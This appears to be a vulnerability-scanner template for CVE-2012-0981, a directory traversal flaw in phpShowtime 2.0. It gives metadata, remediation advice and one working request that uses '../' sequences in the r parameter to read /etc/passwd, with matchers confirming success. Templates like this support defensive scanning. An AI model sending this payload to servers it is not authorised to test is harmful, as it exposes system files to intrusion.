id: CVE-2012-0981

info:
  name: phpShowtime 2.0 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in phpShowtime 2.0 allows remote attackers to list arbitrary directories and image files via a .. (dot dot) in the r parameter to index.php.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Upgrade to a patched version of phpShowtime or apply the necessary security patches to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/18435
    - https://nvd.nist.gov/vuln/detail/CVE-2012-0981
    - http://www.exploit-db.com/exploits/18435
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/72824
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2012-0981
    cwe-id: CWE-22
    epss-score: 0.11059
    epss-percentile: 0.95472
    cpe: cpe:2.3:a:kybernetika:phpshowtime:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kybernetika
    product: phpshowtime
  tags: cve,cve2012,phpshowtime,edb,lfi,kybernetika,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?r=i/../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206b4e06b9d297e33f8ee7dd2bee862892e7aafe8f4ec911d90ddeb7c976d371370221008e8eb8a920be651ea3b99c2ef5c72db7f578c971bc4f973e6b26b765106c46ac:922c64590222798bb761d5b6d8e72950